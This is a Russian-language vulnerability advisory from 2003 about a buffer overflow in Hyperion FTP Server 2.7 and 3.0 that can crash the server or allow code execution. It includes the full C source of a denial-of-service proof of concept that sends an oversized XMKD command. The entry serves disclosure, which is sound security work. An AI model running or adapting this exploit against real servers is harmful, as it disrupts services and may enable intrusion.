Дата публикации: | 10.04.2003 |
Всего просмотров: | 1213 |
Опасность: | |
Наличие исправления: | |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | |
Воздействие: | |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | |
Описание: | Переполнение буфера обнаружено в Hyperion FTP Server. Удаленный пользователь может аварийно завершить работу FTP сервиса и может получить System привилегии на целевом сервере.
Tripbit Security сообщил, что удаленный авторизованный пользователь, включая анонимного пользователя, может аварийно завершить работу FTP сервера, выполняя FTP команды (типа 'mkdir') с буфером, более 251 байт. Удаленный авторизованный пользователь, эксплуатирующий эту уязвимость, может выполнить произвольный код с System привилегиями. Пример: /******************************************************************************* * Denial of Service Attack for Mollensoft Hyperion FTP Server 3.0 * --------------------------------------------------------------- * Note: This paper is ONLY for INFORMATION purposes and not for any * destructive acts! * Note: Dieser Text ist ausschließlich NUR für Informationszwecke gedacht * und nicht für irgendwelche Zerstörerischen Taten! * * Tripbit Security Development * Author: posidron * Website: tripbit.org * Vulnerable Version: * + Hyperion 3.0 * + Hyperion 2.7 * Compile: * bcc32 -lx ws2_32.lib hyperion.c * * Execute: * hyperion <host> [user] [pass] * Thx: * MisterMoe, Rushjo, Tec, PeaceTreaty, seth *******************************************************************************/ #include <stdio.h> #include <windows.h> #include <winsock2.h> #define A 0x41 #define PORT 21 #define MAX_BUFFER 255 #define MAX_PACKET_BUFFER 1024 int winsock(void); void usage(char *prog_name) printf("Usage: %s <host> [user] [pass] \n", prog_name); exit(-1); int main(int argc, char *argv[]) char buffer[MAX_BUFFER], packet_buffer[MAX_PACKET_BUFFER]; long rc = winsock(); SOCKET s = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN addr; if(argc < 4) usage(argv[0]); if(s == INVALID_SOCKET) { printf("Can't start Socket!, Error code: %d\n", WSAGetLastError()); return 1; } if(rc != 0) { printf("Can't start Winsock!, Error code: %d\n", rc); return 1; } memset(&addr, 0, sizeof(SOCKADDR_IN)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr((char*)argv[1]); rc = connect(s,(SOCKADDR*)&addr, sizeof(SOCKADDR)); if(rc == SOCKET_ERROR) { printf("Can't connect!, Error code: %d\n", WSAGetLastError()); return 1; } printf("Connected to %s \n", argv[1]); printf("Preparing attack!\n"); recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0); sprintf((char *)packet_buffer,"USER %s\r\n",argv[2]); send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0); recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0); sprintf((char *)packet_buffer,"PASS %s\r\n",argv[3]); send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0); recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0); memset(buffer,A,MAX_BUFFER); buffer[MAX_BUFFER-1]=0; sprintf((char *)packet_buffer,"XMKD %s\r\n",buffer); send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0); recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0); Sleep(1000); shutdown(s, 2); closesocket(s); WSACleanup(); printf("Attack done!"); return 0; int winsock(void) WSADATA wsa; return WSAStartup(MAKEWORD(2,0), &wsa);Уязвимость обнаружена в Hyperion FTP Server 2.7, 3.0 |
Ссылки: | TA-2003-03 Buffer Overflow Vulnerability in Hyperion FTP Server |